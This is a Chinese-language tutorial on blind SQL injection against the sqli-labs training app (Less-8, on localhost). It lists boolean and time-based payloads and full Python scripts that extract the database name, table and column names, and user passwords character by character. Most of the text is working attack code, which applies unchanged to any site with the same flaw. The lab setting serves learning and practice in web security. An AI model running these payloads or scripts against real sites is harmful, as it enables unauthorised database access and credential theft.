即可以根据返回页面判断真假的注入
?id=1' and 1=1 --+
?id=1' and 1=2 --+
01.判断数据库长度
?id=1' 9>length(database())--+
?id=1' and 8=length(database()) --+
例:判断当前数据库第一个字符
①left(database(),1)
left(a,b) 表示从左侧截取a的前b位
?id=1' and 's'=left(database(),1) --+
表示从数据库名字第一个字母是否等于s,是则返回true
前连个字母是否为’se’
1' and 'se'=left(database(),2) --+
②ascii(substr())=n
substr(a,b,c) 截取字符串a,从b位置开始,截取长度为c。
Ascii()将某个字符转换为ascii值
判断第一个字符的ascii为115(s)
?id=1' and 115=ascii(substr(database(),1,1)) --+
与union select 方法雷同,只是多了一个判断并用循环测试读取数据
查询数据表的个数
select count(table_name) from information_schema.tables where table_schema="security";
利用盲注获取数据表的个数
?id=1' and 5>(select count(table_name) from information_schema.tables where table_schema='security')--+
第一个表第一个字符为’e’
limit 0,1 表示查询第一个表
limit 1,1 表示查询第二个表
limit 0,2 表示查询前俩个表
substr(a,1,1) a表的第一个字符
substr(a,2,1) a表的第二个字符
substr(a,1,2) a表的前俩个字符
?id=1' and 'e'=substr((select table_name from information_schema.tables where table_schema='security' limit 0,1) ,1,1) --+
?id=1' and 'm'=substr((select table_name from information_schema.tables where table_schema='security' limit 0,1) ,2,1) --+
举一反三得到第一个表为emails。
第二个表第一个字符
?id=1' and 'm'=substr((select table_name from information_schema.tables where table_schema='security' limit 1,1) ,1,1) --+
同获取数据表的第一个字符
查询字段的个数
?id=1' and 2=(select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails') --+
?id=1' and 'i'=substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1) --+
?id=1' and 'd'=substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),2,1) --+
首先判断内容的条数
select count(`id`) from security.emails;
id字段中第一条数据第一个字符
?id=1' and 1=substr((select `id` from security.emails limit 0,1),1,1) --+
# sqli-lib-less8 sql盲注
'''
#分步代码
#爆表
import requests
url = 'http://127.0.0.1:81/Less-8/?id=1'
for a in range(5): #第几个表
flag = ''
for b in range(1,10): #表中的字符
#print(b)
for c in range(1,129): #ascii码
#print(c)
payload = url + "\' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
rq = requests.get(payload)
#print(rq.text)
if 'You are in' in rq.text:
flag = flag + chr(c)
#print("第{}个表的名为{}".format(a,flag))
break
print("第{}个表的名为{}".format(a+1,flag))
#爆字段
import requests
url = 'http://127.0.0.1:81/Less-8/?id=1'
for a in range(5): #第几个字段
flag = ''
for b in range(1,10): #字段字符位
#print(b)
for c in range(1,129): #ascii码
#print(c)
payload = url + "\' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
rq = requests.get(payload)
#print(rq.text)
if 'You are in' in rq.text:
flag = flag + chr(c)
#print("第{}个表的名为{}".format(a,flag))
break
print("第{}个字段的名为{}".format(a+1,flag))
#爆内容
import requests
url = 'http://127.0.0.1:81/Less-8/?id=1'
for a in range(15): #第几条记录
flag = ''
for b in range(1,10): #记录位
#print(b)
for c in range(1,129): #ascii码
#print(c)
#payload = url + "\' and if(ascii(substr((select username from users limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
payload = url + "\' and if(ascii(substr((select password from users limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
rq = requests.get(payload)
#print(rq.text)
if 'You are in' in rq.text:
flag = flag + chr(c)
#print("第{}个表的名为{}".format(a,flag))
break
print("第{}条记录:{}".format(a+1,flag))
'''
#集合代码 可以爆出数据库,数据表,字段
import requests # 导入request模块
def db_length():
#数据库长度
length = ""
for a in range(1,10):
#print(a)
payload = url + '\' and length(database()) <= {} --+'.format(int(a))
r = requests.get(payload) # 也可以用长度进行判断
if 'You are in' in r.text: # if(len(r.text)==)
length = a
break
print('数据库长度:',a)
return length
def db_name(db_length):
#爆数据库名
db_name = ''
for a in range(1,db_length+1): #遍历 数据库名的每一位
for b in range(1,129): #每位字符的ascii
payload = url + '\' and if (ascii(substr(database(),{0},1))={1},1,0) --+'.format(a,b)
r = requests.get(payload) # 也可以用长度进行判断
if('You are in' in r.text): # if(len(r.text)==)
db_name = db_name + chr(b)
#print('数据库名为',db_name)
break
print('数据库名为',db_name)
return db_name
def tb_nums(db_name):
#数据表数
tb_num = 0
for i in range(1,10):
payload = url + '\' and (select count(table_name) from information_schema.tables where table_schema = database()) = {} --+'.format(i)
#print(payload)
r = requests.get(payload)
if 'You are in' in r.text: # if(len(r.text)==)
tb_num = i
print('数据表数:{}'.format(tb_num))
return tb_num
def tb_name_length(db_name,tb_num): #数据库名,数据表数
#所有数据表长度 返回一个列表
ls = []
for a in range(1,tb_num+1):
for b in range(1,10):
#print(a)
#print(b)
payload = url + '\' and (select length(table_name) from information_schema.tables where table_schema=\'{}\' limit {},1) = {} --+'.format(db_name,a-1,b)
#print(payload)
r = requests.get(payload) # 也可以用长度进行判断
if 'You are in' in r.text: # if(len(r.text)==)
ls.append(b)
break
#print(ls)
print('第{}个数据表长度:{}'.format(int(a),ls[int(a)-1]))
return ls
def tb_names(db_name,tb_num,tb_num_length): #传入数据库名 数据表个数 所有数据表长度的列表
#数据表名
ls = [] #返回所有数据表名放入列表中
for a in range(0,tb_num): #第几个表
flag = ''
x = tb_num_length[a]
for b in range(1,int(x)+1): #表的字符位
#print(b)
for c in range(1,129): #ascii码
#print(c)
payload = url + "\' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)) = {},1,0) --+".format(db_name,a,b,c)
rq = requests.get(payload)
#print(rq.text)
if 'You are in' in rq.text:
flag = flag + chr(c)
#print("第{}个表的名为{}".format(a+1,flag))
break
print("第{}个表的名为{}".format(a+1,flag))
ls.append(flag)
return ls
def cl_nums(db_name,tb_name_list): #数据库名,所有数据表
#根据数据表依次返回对应字段个数 返回一个列表
ls = []
for a in tb_name_list: #表名
for b in range(1,10): #字段个数
payload = url + "\' and (select count(column_name) from information_schema.columns where table_schema='{}' and table_name='{}') = {} --+".format(db_name,a,b)
#print(payload)
r = requests.get(payload) # 也可以用长度进行判断
if 'You are in' in r.text: # if(len(r.text)==)
ls.append(b)
break
print('数据表{}字段数:{}'.format(a,ls[tb_name_list.index(a)]))
#print(ls)
return ls
def cl_name_dict(db_name,tb_name_list,tb_nums,cl_nums): #数据库名,所有数据表
#根据数据表依次返回对应字段 返回一个字典
d = {}
for i in range(tb_nums): #表数 表名:tb_name_list[i]
flag = ''
for a in range(cl_nums[i]): #字段
for b in range(1,10): #字符
for c in range(1,128): #ascii
payload = url + "\' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1)) = {},1,0) --+".format(db_name,tb_name_list[i],a,b,c)
#print(payload)
r = requests.get(payload) # 也可以用长度进行判断
if 'You are in' in r.text: # if(len(r.text)==)
flag += chr(c)
break
flag += ','
d[tb_name_list[i]] = flag
print('数据表{}:字段{}'.format(tb_name_list[i],d[tb_name_list[i]]))
#print(d)
return d
if __name__ == '__main__':
global url
url = 'http://127.0.0.1:81/Less-8/?id=1'
db_length = db_length()
db_name = db_name(db_length) #数据库长度变量 传入 数据库名称函数
tb_num = tb_nums(db_name) #数据表数量
tb_length_list = tb_name_length(db_name,tb_num) #返回一个列表(所有表长度)给tb_length_list
tb_name_list = tb_names(db_name,tb_num,tb_length_list) #返回一个列表(所有表长度)给tb_name_list
cl_num = cl_nums(db_name,tb_name_list) #返回一个列表(所有表对应的字段数)给tb_name_list
cl_name_dict(db_name,tb_name_list,tb_num,cl_num) #返回一个字典(表对应的字段)
'''
#爆内容 利用已知数据库、数据表、字段
import requests
url = 'http://127.0.0.1:81/Less-8/?id=1'
for a in range(15): #第几条记录
flag = ''
for b in range(1,10): #记录位
#print(b)
for c in range(1,129): #ascii码
#print(c)
#payload = url + "\' and if(ascii(substr((select username from users limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
payload = url + "\' and if(ascii(substr((select password from users limit {0},1),{1},1)) = {2},1,0) --+".format(a,b,c)
rq = requests.get(payload)
#print(rq.text)
if 'You are in' in rq.text:
flag = flag + chr(c)
#print("第{}个表的名为{}".format(a,flag))
break
print("第{}条记录:{}".format(a+1,flag))
'''
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
这里我们需要打开浏览器的控制台,点网络选项进行查看
?id=1' and sleep(5) --+
如何获取数据?其实就是在盲注的基础上加了个if语句
例如测试当前数据库的字符数
?id=1' if(length(database())=8,sleep(5),0)--+
如果当前数据库字符数为8 页面就是延迟5s 否则 返回0
如何获取数据?其实很简单,就是在布尔盲注的基础上加了个if语句
?id=1' and if(115=ascii(substr(database(),1,1)),sleep(5),0)--+